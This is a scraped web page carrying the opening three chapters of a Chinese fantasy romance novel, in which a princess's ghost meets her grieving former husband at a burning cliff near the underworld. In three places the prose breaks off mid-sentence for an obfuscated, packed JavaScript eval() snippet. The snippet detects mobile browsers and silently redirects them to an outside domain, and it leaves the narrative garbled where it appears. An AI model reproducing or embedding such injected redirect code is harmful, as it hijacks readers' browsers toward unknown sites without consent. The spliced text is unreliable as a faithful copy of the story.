《每天都会看到前夫在殉情》 1. 灵台山白帝殉痴情 天归二百二十二年,灵台山起了火。 此山与幽冥地界相邻,终年有火在燃,落雨不熄。 暮兮晚站在灵台山的火崖边,眼见悬崖对岸之人孤身赴死——她没想过哪怕自己死了十二年,竟还会有牵挂前夫安危的一天。 更何况,她这位名义上的“前夫”对她从没半分感情。 夜色槁悴,凄凉堪叹。 “那人要跳崖了吗?他到底什么来头?” 有二三十只鬼魂违背了幽冥宵禁聚在此地,探头探脑只为瞧个热闹。 “他你都不认识?白洲少帝楚扶昀!咱们若还活着,哪怕烧高香拜神佛也见不到一面的神仙人物!” 崖对岸,那人无声伫立着,颀长,挺拔。 大火席卷腾空,隔着火光,看不清他的神貌容颜。 其实有时候,暮兮晚也想问问自己。 楚扶昀,到底是个什么样的人呢? 第一次听说他的名号,还是在尊师座下听学的时候了—— 当今天下共分十洲,西有白洲。 天归初年间,十洲镇厄之战结束后九天星宿异动,各教派群龙无首,为争权夺利杀了个头破血流,兵戈四起。 恰逢此时,白洲有一位公子于金戈铁马中沐光而出。 他持枪乘龙,俯视尘寰,只不过短短百年,便平内乱主八方,降三洲并六合,逼得所有仙门百家不得不收手臣服。 哪怕如今王权云集,求道问仙者多如过江之鲫,也掩不了这位天之骄子的半分华彩,他的名字,像割在所有人颈边的一柄寒刃,锋利无比。 尊师说,这天下,再没有比他更凉薄的人了。 …… “我不信。”有鬼魂听了这番说话,面露不屑,嗤笑道,“若他真有叱咤十洲的厉害神通,怎又会出现在灵台山这穷乡僻壤之地?还做出寻死之事?怕不是有病!” “嘁,没见识。”另一鬼魂叹道,“那当然是因着……” “别跳——!”暮兮晚双手抬起放在唇边,清亮的喊声霎时打断了众鬼的闲话。 所有鬼都怔住了。 只可惜风太大,火也太大,喊声却太小,站在崖对岸的那个人,或许听不清这一句劝喊。 “徒儿,别劝了。” 寂静半晌,暮兮晚身侧传来一声悠悠叹息。 说话之人是一位手摇蒲扇,布衣草履的逍遥神仙,也是她如今的师父,长嬴。 长嬴眼下同自家徒儿一道站在高陡险峭的断石崖边,轻声说话:“造化如此,由得他去罢。” 他虽是三分懒散颜貌,却掩不了风流俊俏之容,话虽说得无情,却有一种由于活得太久所致的看破生死,倒显得理所当然。 火光烈烈,都快照得半边夜空亮堂了。 暮兮晚似乎并不放弃,仍在自顾自地喊话:“别跳,想想你的家人——!” “别提了。”长嬴顿时愁眉皱眼,哀叹道,“白洲那群老东西,恨不得让他在此地一辈子。” 暮兮晚道:“怎么说?” “神仙似的英姿,如今世间再寻不出第二人。”长嬴长吁短叹,解释道,“白洲的仙神们尊敬他,却也忌惮他——楚扶昀身在灵台山,白洲自然想借机再培养一位更易操控的帝主。” 暮兮晚静了片刻,又问道:“那他还有何牵挂?” 长嬴诚恳答道:“听闻他曾有一心上人。” 鬼魂们瞬间两眼放光,得了兴致七嘴八舌议论起来。 “从没听说过呢,白帝这般清俊堂堂,自非凡尘俗相的人物,也会有心上人么?” “可白帝一向从未传出过任何风月之事啊,除了……” 除了她。 暮兮晚明白。 楚扶昀身上唯一染了红尘之处,便是他的姻缘。 一百多年前,白洲帝微垣曾与千洲方外宫喜结仙姻,暮兮晚作为方外宫的少宫主,与他结成了貌合情离的仙眷夫妻。 可她厌恶这场婚姻。 起初,是觉得荒唐。 后来,是觉得不值得再忆起了。 反正那段年岁里,她与他之间,该说的话,不该说的话,都说了,越界的事,没越界的事,也都做过了。 到最后两人失了控,没了分寸…… 算了。 只是一场彻头彻尾的互相欺瞒而已。 这段百年姻缘的终止是在十二年前——她死了,自然与他因果两断。 暮兮晚心中自嘲。 不过她确实从未想过,原来他早不知从何时起,有意中人了。 反正是谁,都不可能是她。 毕竟她与他的婚姻不过是逢场作戏,谁又会在虚情假意里动真呢? “……所以他心上人到底是谁?”暮兮晚问道。 沉吟半晌,长嬴悠悠一叹:“不知道。” 暮兮晚转眸看着自家师父,眉梢一拢:“不知道?” 长嬴移开目光,没吭声。 暮兮晚只得破罐破摔,隔着火光再次与楚扶昀喊话,声音更大:“那想想你的心上人!” “死啦!”长嬴无奈扶额,嘴唇张了张,又添了一句,“他心上人早在十二年前就香消玉殒!” ……啊这。 怎会如此。 暮兮晚眼睛微微睁大,目光一扬:“师父您竟知晓这么多隐情?” “我猜的。”长嬴颇不自在地正了正衣冠,咳嗽一声保持镇定。 暮兮晚:“……” 长嬴道:“楚扶昀一心想救他心上人,为这事儿,白洲的仙神们废了好大劲儿拦他,还险些惹得整个白洲都没了,结果还是没拦住。” 暮兮晚皱眉:“后来呢?” 长嬴叹道:“他来了幽冥之地,可起死回生乃逆天而行,他妄想改命救人,自然徒劳无功,到最后,他留在这灵台山,一留便是十二载。” 十二年。 暮兮晚心道,她死了也有十二年啊。 不过她运气很好,没死透,还剩了个三魂七魄随师父在人间飘飘荡荡,近些年飘荡到灵台山来休养,只可惜魂魄实在孱弱,此前除了师父,再没人能看得见她。 直至今夜,她终于费心费力让自己魂魄凝了半个实体,终于得以自如行动开口说话,结果一转头,就见到了楚扶昀在灵台山的赴死之举。 暮兮晚大惊:“他居然是个恋爱脑么!” 她其实很想同楚扶昀说上几句话——你瞧,你我之间强作的姻缘终于没了哦!我虽厌过你恨过你,但没关系,我人都死啦!早已看开了!你也没必要有什么看不开的啦! 结果事到如今她才蓦然反应过来,敢情楚扶昀的所作所为,是在……殉情? 长嬴神情沉痛,点点头。 围观看热闹的鬼魂们也点点头。 暮兮晚对此目瞪口呆,心里直犯嘀咕。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320239|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那,那他为了谁殉情啊?她吗?她不信。 若楚扶昀真喜欢的人是她,那他可真是天下最傻的傻子了。 傻到她要笑话他一辈子。 风大了,潇潇疏疏一直不停,火也大了,轰轰烈烈肆意诡谲。 正说话间,整个地面忽得摇晃了一瞬。 “轰隆——” 在场所有鬼魂不可置信地互相对视一眼。 大地又狠狠颤动起来,这一次不再是简单的摇晃了,而是地震似的千轰万响。 “跑!还不快跑!”长嬴最先反应过来,挥着蒲扇就往鬼魂们头上狠狠一敲,“是流窜在这附近的鬼王捕捉到我们气息,杀来了!” 暮兮晚这才想起另一桩事——听闻最近有只恶煞鬼王当道,冥官因此下了宵禁禁令,子时时分,幽冥枉死城中的普通鬼魂一律不得外出。 小鬼魂们尖叫一声慌了手脚,跌跌撞撞想四下逃窜。 可是晚了。 一转身,只见离开此地的唯一山道早已被鬼气封死,森然间,有一手持七尺鬼刀,面目狰狞的恶鬼缓缓从其间走出。 暮兮晚闭上眼,心道:“这下可完了。” 长嬴也是神情惊恐,慌张失措不知如何是好。 鬼王咆哮一声,朝着他们狠狠杀来。 除了楚扶昀,所有生灵都慌了,喊叫着,逃跑着,场面一下子就乱了。 慌乱中,有只小鬼魂一个趔趄,竟向后一跌,直直朝着火崖下掉去。 其他鬼魂也一拥而上想去救它,可鬼王太强大,火焰太凶悍,它们竟也推搡无助的,齐齐全向着火崖下栽去! 灵台山下燃着的,相传是能让所有生灵灰飞烟灭的神火! “晚晚救救我们——”鬼魂哭嚎道。 暮兮晚径直上前抓住了鬼魂们衣角,可鬼魂太多,她也被连带着跌进火崖。 “师父救救啊——”暮兮晚喊道。 长嬴正和鬼王交战,一回头,只见自家徒儿要坠崖,吓得连忙飞扑上去救人。 天不遂人愿,长嬴也被连累着坠崖了。 “谁,谁救救我啊——”长嬴欲哭无泪。 他话音落,像想起了什么似的立时用蒲扇捻了个法术,转瞬化出一条绳子,紧紧缠上了鬼王的身体。 鬼王也猝不及防被拖走了。 就这样,鬼魂们抓着暮兮晚,暮兮晚拉着师父长嬴,长嬴又拽着那鬼王,一行本是来看热闹的妖魔鬼魂们,就这样你抓我我攥你的连成一串,咕噜咕噜的从悬崖边,全滚了下去。 “楚扶昀!” 在坠入悬崖的最后一刻,暮兮晚望向伫立于崖边的那个倦恹冷然的人影,大喊道。 “你心上人命丧黄泉!你不想想!万一她还有救呢!” 这次,她的喊声真的足够响了。 大声到站在崖上的那个人,真的朝着她的方向看来,将她的一颦一嗔,一顾一盼,尽收眼底。 “万一这一切!都还有转圜的余地呢!” 崖间火光依旧,但暮兮晚忽然觉得,她似乎,从来就没真正了解过他。 天地狂风声吼吼,大火,灰烬,染红半边夜色。 楚扶昀:“……” 两个人很仓促的四目相对了一下,她望着他,心绪千般。 暮兮晚已经没有力气再分辨他眼里藏着的,不曾言说的情愫了。 她阖上眼眸,然后,坠入崖底。 2. 再相逢故人已陌路 “让我再确认一遍。” “徒儿您说。” 灵台山下,火海狂妄肆意。 “咱们原本是去看别人跳崖的。” “没错。” 小鬼魂们簇拥着聚在火里,看着面前小有争执的一对师徒,眨巴眨巴眼。 看得很是新鲜起劲,不嫌事大。 “结果我们自己反而掉下来了。” “是的。” 长嬴垂目低头,像认错一般规规矩矩立在自家徒儿面前,态度不可谓不恭敬。 “而这灵台山下燃着的,相传是能要人性命的神火。” “货真价实的。” 长嬴诚恳回答。 周围火光倦倦地燃着,暖和的温度转瞬烘干了暮兮晚身上的夜深寒露,半点儿不燎人。 暮兮晚眯了眯眼睛,歪着头,看了看自家师父。 长嬴老实巴交。 她轻哼一声,又看了看蜷缩在一起看热闹的小鬼魂们。 小鬼魂兴致勃勃。 她咽下满腔话语,最后再看了看掉下来的鬼王。 鬼王掉下来后被砸晕了,正昏在一旁。 “然后,我们全员相安无事,无一伤亡,甚至岁月静好。” “千真万确的。” “……” “……” 暮兮晚难以置信,怒道:“什么劳什子神火!说好的灰飞烟灭呢!” 长嬴也怒:“要真将我们烧死还得了!” “早知道就不劝楚扶昀了。”暮兮晚叹气,心道,“他如今在上面,可不知看了我们多少笑话呢。” “况且……”长嬴站直了身体,整理着方才跌下来时弄乱的衣冠——不过他一向衣冠随意,这衣衫整与不整也无甚差别,“你们本都是幽冥亡魂,已死之人,遑论再死一遭呢。” 所有小鬼魂们闻言一怔。 它们不可置信地仰头看着身边看似全须全尾,生龙活虎的姑娘——谁也没想到她早已不是阳间之人。 不得不说,暮兮晚其实生得十分漂亮。 乌发如缎,穿一身五彩霞衣,眸清可爱,眉眼亦俏皮,但却不是那种天真烂漫的俏皮,而是一种肆意的,不识少年愁滋味的鲜活潇洒。 灵台山终年不息的张扬神火,都不及她半分灵动。 火光一映,反衬她般般入画。 暮兮晚。 她曾是这天下最繁华似锦之地,千洲方外宫尊贵无双的少宫主。 若说白洲楚扶昀是威名赫赫,主杀伐兵戈的帝主,那这位千洲少宫主,便是截然相反的另一位天骄。 她自由,随性,明明该是仙家中人,却沾了满身烟火红尘气,曾在万丈金阙上点过天下第一的明灯,曾驾着楼船飞渡千洲火花。 有人斥她没个神仙样儿,可一转头,她又笑嘻嘻的在万仙来朝大会中摘得了鼎鼎瞩目的魁首。 于是啊,四海十洲的满天仙神见了她,也只能忿忿咽下满腔羡慕,然后扭头回了自家仙府揪着他们不成器的徒儿耳朵,嚷嚷道:“——看看别人家的孩子!” 她的生命轰轰烈烈,以至于,就连一向高居云端,问卜观星的辰天阁主见过她后,都破天荒地道了一句谶言:“她与三十三重天上的星宿有缘,绝非池中物,当得起一句前途无量。” 她曾经,最是一场人间佳词话。 可就是这样一位在红尘凡世里嬉笑怒骂的翩翩神仙姑娘,死了。 死在十二年前。 暮兮晚迎着纷纷向她投来的目光,咳嗽一声,道:“英雄莫问前程往事嘛!都过去了。” 看热闹的小鬼魂们相顾相看,却是更急切了:“所以晚晚你如今同我们一样,是游荡在人间的孤魂?要当心那幽冥的鬼差来抓你!” 暮兮晚抿唇想了想,又左看看右看看自己的身体,笑道:“是也不是。” 幽冥主管人间事,有诸多鬼差出行在外,负责带漂泊世间的鬼魂过奈何桥往生。 但暮兮晚与寻常孤魂野鬼相比,显然还有点儿不一样的地方。 她好看的眉眼弯了弯:“我的命数不在生死簿上。” 幽冥判官所掌管的生死簿记载着每一个人的前尘来世,因缘际会,可偏偏,那上面没有她的命数。 只因暮兮晚是从异世穿越至此的现代人。 天归初年间的镇厄之战中,天地时空有过最后一次紊乱,她误落于此,于乱世中得了机缘造化,被方外宫的神仙收在座下,作为继承人抚养,混了个风生水起。 也混了个一命呜呼。 她非此世中人,死后,也就自然没有来拘她的鬼差,以至于被她得了空子,以魂体之形在人间飘荡。 “好了好了!”长嬴看着越聊越起劲的一众鬼魂们,连声打断,“咱们眼下的当务之急……是不是得寻个出去的法子?” 听得此言,暮兮晚回了目光左右观看。 眼下他们一行人皆在崖底,崖深且高,四周神火烈烈,有阵法将他们困于此,飞是飞不出去了,得先破了阵再说。 而那鬼王昏厥所在,又正好挡了这崖底唯一的出路。 暮兮晚叹口气,道声:“师父你随我一道来解阵。” 话毕,长嬴还未来得及应答,就听上方传来一阵惊惧喊叫。 “啊啊啊啊——!” 紧接着,在众人目瞪口呆之中,忽然又从崖上栽下来一人。 随着扑通一声,这人径直栽进了火里。 暮兮晚双目微睁,心道该不会是楚扶昀终于想通了?肯跳下来殉情了? “疼……死我啦……” 只见掉下来的这郎君身着紫衣官服,先是在火里滚了滚,又一骨碌爬起来,抹了把脸上的灰,整理了衣冠后一脸无事发生的模样。 自然,这火也烧不死他。 暮兮晚蓦地回头瞧着身边欲言又止的长嬴,半恼半嗔:“说好的神火呢!” 全员无伤,是个人都能在这里大摇大摆走来走去,主打一个营造氛围感是么? “还好啦,这火是神火不假,却有洗髓易经,淬体锻心之效,自与寻常凡火不同。”这身着紫衣官服的玉面小郎君自然而然接了话。 他说罢,才发觉这崖底竟还有人,忙拱手作揖,笑眯眯道:“在下幽冥枉死城拘魂鬼差,崔绝。” 他报了家门,众人俱是一惊。 暮兮晚奇怪道:“你是枉死城的鬼差?来灵台山做什么?又怎么掉了下来?” “可别提啦!我是被白帝扔下来的!”崔绝挠了挠头,恼道,“我今夜奉法旨追捕鬼王,一路追来灵台山后,却没见着半个鬼影子,只有位白洲的少帝站在崖边。” “那白洲少帝是何等人物?我硬着头皮恭敬问他,‘您可见着了灵台山的鬼魂?’,结果白帝阴晴不定地看了我一眼,随后一抬眸一捻诀,就径直将我扔进了这万丈火崖。” 崔绝长叹一声,感慨人生之多艰。 暮兮晚闭上眼,安慰道:“你别在意,他脾气不好,对谁都那样。” 崔绝惊奇:“听上去姑娘很了解他?” 暮兮晚无可奈何地一笑:“……不熟。” 说话间,不觉的天色又暗,地面一震,缭绕的神火再晃一分。 “哦,是么,我脾气不好。” 低沉喑哑,深如琴声的嗓音在火海中倏然响起。 在场所有人都惊愣住了。 循声望去,只见不远处的烈烈火光中,站着一个人,他高瘦英挺,长身而立。 暮兮晚蓦然回眸,完全怔了。 一阵从容不迫的脚步声传来。 那个人慢慢从火中走出来,大火窸窣着,像一丛又一丛芦苇,他穿过这场风吹草动,仿佛走了很久,很远。 “我竟不知,少宫主原来与我不熟。”他话虽这般说,声音却淡漠。 暮兮晚看着他,压下心中的惊涛骇浪。 楚扶昀。 不得不说,这么多年,他的风采依旧半分不减。 白洲帝微垣的少帝,主八方兵戈,民更王。 他也确实做得完美。 凡人也好,仙神也好,与他之间完全像隔着鸿沟天堑,光是一个名字,提起了,也只有瞻仰警惕的份儿。 他像天上人,不敢惹,不可及。 点漆深眸,剑眉入鬓,着的是苍黄仙衣,清矜萧瑟的气度,冷的,像淬了风霜后,还披着一席深秋寒意。 灵台山十二载岁月,锻得他身上,多了点儿倦,还多了点儿凉。 楚扶昀昀眉心凝着,目光深沉,最终,他轻轻道了一句。 “久别无恙。” 暮兮晚刚想问这句久别无恙从何而来,却恍然想起,今夜她才将将凝了半个实体,此前除了师父外,没有任何生灵能看见她。 所以,这也确实是他们分别十二年后的初次相见。 她定了定心神,缓缓呼出一口气:“许久不见,扶昀将军。” “……” 楚扶昀的目光还在她身上停留着,却没再说话了。 “还是不闲话了。”暮兮晚被他看得有些不自在,匆匆寻了个话题,“让我们先寻个法子离开此地。” 她不动声色地转了身,朝困着他们的阵法走去,离开了他的视线。 “师父,快来搭把手。”暮兮晚朝着长嬴唤了一声,招呼道。 方才一直看戏的长嬴赶紧从善如流跟上去。 楚扶昀闭目而立,不知在想什么。 眼下一行人各有其事,暮兮晚同她师父着手开始解阵,鬼王昏倒在一边,崔绝拎着那二三十只来灵台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320240|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 山看戏的小鬼魂们,严肃训话。 “嚯,就是你们是吧,跑出枉死城来灵台山看热闹的一群鬼。”崔绝叉腰看着一群瑟瑟发抖的小鬼魂们,眉梢一挑,“且莫胡闹,待出去后,统统随我回枉死城。” 小鬼魂们哭哭啼啼。 崔绝清点了名剌,训了话,打点妥帖后只见楚扶昀还是闭目站在一旁,自忖这位大人将他扔下来倒确实是帮了他个忙,便也罢了。 他鼓起勇气,兜了兜袖,上前几步恭敬拜道:“白帝,在下此前多有冒犯,给您赔个不是。” 这话一时没得到回应,崔绝悄悄抬起眼帘,暗自打量着站在眼前的公子。 火光在楚扶昀的脸上跳动,冷恹,肃穆,他睁开眼睛,静了须臾。 楚扶昀眸子一抬,道:“我记得你,崔绝,十二年前奈何桥上,拦住我的鬼差。” 崔绝一惊,战兢兢的差点儿跪下!心道您这位青天大老爷怎还没忘了我! 楚扶昀与幽冥地界的牵扯,还得从十二年前说起。 冥官们都知道,这位白洲的少帝一向肃杀,掌兵掌权惯了,是个如刀般凌厉的人物,万万不可轻易招惹。 所以十二年前,当白帝孤身一人径直踏入幽冥之时,所有鬼差冥官都吓傻了。 那日阴司黄泉路,他茕茕孑立,只为在生死中寻人。 楚扶昀寻了七日,没有片刻停歇,从鬼门关到枉死城,再至奈何桥,最后在奈何桥上还想往前行时,是崔绝冲出来,拦在了他面前。 “您阳寿未尽,不可再向前了!”崔绝视死如归地看着他。 楚扶昀的神情是从未有过的凄冷,他压着声音,尽量冷静道:“我为心上一人而来,遂至此,还请冥官网开一面。” “……” 可最终,这位白洲少帝还是没在幽冥寻到想见的人。 后来,他留在了紧邻幽冥的灵台山,每日看着来来往往枉死城的千万亡魂,这一留,就是十二载。 这位叱咤十洲的绝代天骄,也是在灵台山中头一次明悟了人生在世,何为“怕”,何为“不敢”。 他心里有一人,在等。 怕等不到,不敢走。 …… 收回思绪后,崔绝额头冒冷汗,瞧着这位几乎要被灼目火光湮没的仙神,心道果真造化弄人! 他叹了又叹,自思自忖,终是袖袍一展,又道:“敢问您的心上人,是个怎样的人?” 温柔的火光还在柔柔地燃着,照亮夜色,照亮黑暗。 “她……”楚扶昀揉了揉眉心,声音微哑,“她性子潇洒,是人间自在方外仙,不爱看经念佛,最爱雪月风花。” 此时,暮兮晚正和长嬴远远地待在这崖底阵法的另一端,专心致志地解阵。 她看着周围四合方寸的五行八卦阵,感慨道:“等出去了,我一定要去饮一坛东洲的‘十洲春色’,然后去白洲芦苇荡里捉几只仙山螃蟹,最后再回方外宫吃一碗金秋槐花饭。” 长嬴默默听着,只觉馋虫拱动,连声赞同。 楚扶昀闭了闭眼,思忆半晌,又道:“她修的是‘流’字门中之道,善机关,善阵法,没什么奇门遁甲能难得倒她。” 暮兮晚压根没空搭理楚扶昀与崔绝的闲谈,只见她跑过来又跑过去,一会儿搬动这个机关,一会儿又折腾起另一处阵眼。 随着夜色一点一点凉了,灵台山下困着众人的火中阵也开始渐渐消弭。 “不过她武艺尚缺。”楚扶昀敛眸而立,眸光不动声色的,像陷在回忆里,“每逢与她出行时,遇妖魔,遇鬼魂,她总习惯……” 他话至此,却遽然被打断了。 “扶昀将军——” 崔绝与看戏的小鬼魂们俱是一愣。 楚扶昀也微微一怔,眸光一滞。 “将军——” 只见方才还忙得热火朝天的暮兮晚匆匆朝他跑了过来,一边跑一边唤他,有些急,呼吸不算平稳。 她跑到他身后时,步子一停。 楚扶昀慢慢转了身,目光顿住。 只见这位穿着五彩霞衣的翩然姑娘,正扬着唇角看他,一如记忆里的模样。 “扶昀将军。”暮兮晚拢了拢跑得有几分凌乱的发梢,抬起头,眉眼俱笑,有点儿顽皮,“我们要出去的路,被那只鬼王堵上了,它眼下将要醒了,而我又打不过它,所以……” 楚扶昀一直平静的唇畔动了动,没来由的,他忽然笑了一下,很浅很轻,像个错觉似的。 连他自己都没察觉。 他看见,暮兮晚笑得分明好看,笑意映眉弯,明亮的,竟比火光还温暖。 嗓音也清脆狡黠。 “可否劳驾您,帮我一把呀。” 十二载,终是等到了。 他想。 3. 诉衷情生死却相隔 暮兮晚仰头看着他,抿了抿唇,掩住心里的几分波澜。 说实话,十二载了,她不太确定他还会不会像以前那般帮她。 楚扶昀鲜少亲自出手。 毕竟他的实力深不可测,谁也说不准。 以前在方外宫时,暮兮晚就听仙神们谈起过,他仅仅是不动声色地立在那儿,当今四海就决计找不出可与之相较的第二人,这种压迫感与生俱来,近乎臣服于本能。 后来嫁到白洲,她常见楚扶昀独自坐在小楼里观景下棋,温着一壶酒,或一杯茶,隔扇窗外是一抹残红落日的芦苇荡,他披着一身夕色,凌厉肃杀,却又清雅。 帝微垣的仙家会恭敬唤他一声“将军”。 她也就跟着他人这样唤他。 也是很久以后,暮兮晚才知道,那棋盘是个法宝,整个十洲的山川河流,都映在那小小的一方棋盘上。 他每一次的点召布阵,排兵遣将,也都在那方棋盘上。 也是借那一方小小的棋盘,楚扶昀不动声色的收复了西边三洲及三千城池,干脆利落,称得上“兵不血刃”四个字。 有这样一位果决的少帝,每逢遇上险境时,暮兮晚自然偷闲躲懒,将所有需要动手之处交给他。 譬如此时此刻。 静了很久,楚扶昀一直看着她,神情明灭不定的,像是陷入了长长的回忆。 可他又能从她身上看出什么呢? “少宫主。”终于,楚扶昀敛了目光,沉沉的开口了,“方才你提过,生死之事,或有转圜的余地。” 暮兮晚想起她在坠崖时说的那番话,一时哑然。 那是她情急之下胡编乱造的托词,没想到楚扶昀竟真的听进去了。 可起死回生乃逆天而行,哪有那般轻易? 若是个人随随便便都能死而复生,她也不必当个幽魂飘在这灵台山十二年了——哪怕如今凝了半个实体,那她也还是个魂儿啊! “你想救的,是你死去多年的心上人么?”暮兮晚想了想,问道。 楚扶昀同她对视着,没说话,半晌,他轻声道:“是。” 暮兮晚恍了一下神,她蓦地发觉,自己真的一点儿都不了解这位曾经的“枕边人”。 她猜不透他眼下在想什么,也不知道,从什么时候起,他早已心有所属。 暮兮晚呼出一口气,压下心底纷乱情绪,慢慢道:“我确实……” 话说了一半,却停住了。 她想告诉他,很抱歉,搅了你的姻缘,只是当年方外宫与帝微垣各有所图,你我之间,也没什么妥协的余地。 “我确实……可以帮你试试救人起死回生。”暮兮晚顿了顿,将话转了个弯儿。 她想,若想救一个人,总归是有办法的。 譬如她自己,不也逃了魂飞魄散的下场,勉强留在人间了么。 “只是……”她扬起目光,在他身上凝住了,又想了想,到底不动声色地开了一枚筹码,“作为交换,我希望将军,能助我重回方外宫,掌一方王权。” 楚扶昀的眉心轻皱了一下,指尖捻了捻,没有说话。 融融的火光在四周亮着,像一盏又一盏灯。 “打断一下……二位……”正说话间,终于,一直站在他们二人身边的崔绝寻得了机会开口了,“提醒一下,我在枉死城任职,是名正言顺的,在籍有编的拘魂鬼差。” 暮兮晚一愣,转眸看向崔绝,似乎才想起这里还有个人,又眨了眨眼睛:“没错……?” “您二位在这里讨论死而复生讨论的热火朝天。”崔绝眉头皱起,顿时让原本稚嫩青涩的面容显得颇为苦大仇深,“有没有一种可能……你们可以直接问我呢?” 当着枉死城冥官的面儿商量如何让亡魂重返阳间。 这简直太不将他放眼里了! 崔绝捏着一把汗,嗟叹不已——方才这位千洲的少宫主同白洲的少帝站在一处时,他只觉得气氛都不一样了,以至于连话儿都插不进去,但让他具体说出个哪儿不一样,又说不出来。 总之,不是外人能干涉的那种气氛。 “我们得先去一趟枉死城,请判官开‘生死簿’,看上面是否记载着起死回生之法。”暮兮晚蹙起眉,低头思忖着是否真能寻求崔绝帮助,“你是判官吗?” 崔绝惭愧道:“不是。” “但马上是。”须臾,他指了指不远处已然苏醒的恶煞鬼王,又补了一句,“我今夜追捕这孽魂至此,便是为了立功任官。” 暮兮晚不自觉心头一松,声音都轻快了:“那正好,楚扶昀帮你降了那鬼王,待回枉死城后,你帮我们开生死簿,如何?” 她简直觉得自己提的主意当真妙极,双赢。 崔绝听了,也觉不错,颔首应下。 暮兮晚眉眼一弯,刚想再说话,就听得身后传来振耳喊声。 “别聊了别聊了——!” 她回头一看,只见那鬼王醒来后凶性毕现,正追着长嬴与那二三十小鬼魂们四下逃窜,跑的跑,喊的喊,一片混乱。 “你们在一旁聊得有条不紊明明白白,倒是救救我们啊——!”长嬴高声叫道。 暮兮晚回眸,又看向敛眸静然的楚扶昀,随后唇畔蓦地绽开了一笑,作揖道:“扶昀将军,劳驾?” 楚扶昀凝着她姣好的面容,心里像是起了一簇小小的火,融融温暖。 他压下所有妄念,不再多言,慢慢走向那鬼王,恰如古画里的一抹深秋,带着死亡的萧条。 鬼王一惊,它僵硬地转了身子,在看见来者之后,便是抑制不住的哆嗦,双膝一软直接跪倒,浑身上下每一处本能都叫嚣着逃!逃离这位仙神! 恐惧,来自死亡的恐惧。 如果可以,它恨不得现在就爬上悬崖逃离此地! 崔绝看得真实诧异,整个人都惊了,声音喃喃一抖:“白帝不出兵器么?” 他想起自己追这只鬼王追得大汗淋漓,废了不少功夫,都没能得手的滑稽模样。 “他一般不亮兵器的。”暮兮晚压根没看楚扶昀动手,而是忙着安顿刚刚从虎口脱险的自家师父,“他若现兵器了,那一般都是两洲开战,要杀伐流血的动荡了。” 崔绝听得好奇:“白帝的兵器是什么?” 暮兮晚答得很自然:“枪,长枪。” 崔绝有些晃神,他再转眸时,只见鬼王已然没了任何挣扎反抗的余地,瞬间灰飞烟灭。 白洲少帝这般天神似的人物动手时,就如同扫一片落叶,拭一处灰那样随意。 毫不费力。 崔绝蓦地想起一句注解。 枪。 百兵之王。 形容这位锋利却清矜,苍黄而悲寥的白洲之主,恰如其分。 “少宫主,你的兵器是什么?”崔绝想起暮兮晚的身份,鬼使神差地多问了一句。 “枪。”暮兮晚安顿好师父,活动了一下身体,转眸看向楚扶昀,笑了笑。 崔绝惊奇:“也是枪?” 暮兮晚不置可否:“嗯。” 她不再同崔绝搭话,而是上前几步来到楚扶昀身边,客气道:“辛苦将军。” 她语气温和,客气话说出来,偏着像在哄人一样。 楚扶昀却不动声色,淡声道:“你倒是半点儿没变,对谁都这样。” “那我就将您这话当成赞扬了。”暮兮晚回了眸子,再度观看四周,又道,“顺着崖下的这条路径直向前,不出半个时辰,我们应当能抵达枉死城。” 说这话时,她声音有不自觉的欢喜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320241|167445||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同样欢喜的还有另一人。 “恩人呐!”崔绝一想到回去后就能升官加薪,不由得感激涕零,看着暮兮晚连声道,“您以后就是我的恩人姑娘了!” 他说罢,忍不住打了一个寒噤,只觉有道目光投了过来,一抬头,就看见站在暮兮晚身边的白洲少帝一向不显山露水的神情里,平白无故的,多了几分不易察觉的冷。 崔绝更惊恐了。 他觉得白帝打量他的目光,跟打量鬼王时没什么区别——他发誓,他和白帝绝对无冤无仇。 为防止这位阴晴不定的少帝一时不快,连着将他一起挫骨扬灰了,崔绝连忙拖着灵台山二三十小鬼魂,还领着那位长嬴神仙,忙不迭往枉死城赶去,火速离开白帝的视线。 走得飞快,都快飘出残影了。 天还是阴沉着,晦暗如渊。 “将军,您以后别再寻死了。”暮兮晚想起这次掉下灵台山的遭遇,忍不住道,“你想,你的心上人还等着你去救她,若救不回她,你再……” “我再随她而去,魂断幽冥。”楚扶昀将她的话接上,声音倒是轻快了。 暮兮晚微微睁大了眼睛,惊了:“我要说的不是这个!” “您是白洲的少帝,只要回到帝微垣,钱权名利,无边江山应有尽有。”或许是刚才那话说得太利,她又连忙补了一句,“您就半点儿不想拿回来吗?” 楚扶昀眼帘微抬:“……不想。” 暮兮晚一顿,咽下满腔言语。 她想,谢谢。 如果条件允许,她很想一鼓作气扛着枪径直杀回去!她生前可是实打实的钱权名利,无边江山应有尽有啊! 恋爱脑是病,得治。 楚扶昀这情况,看上去像晚期了。 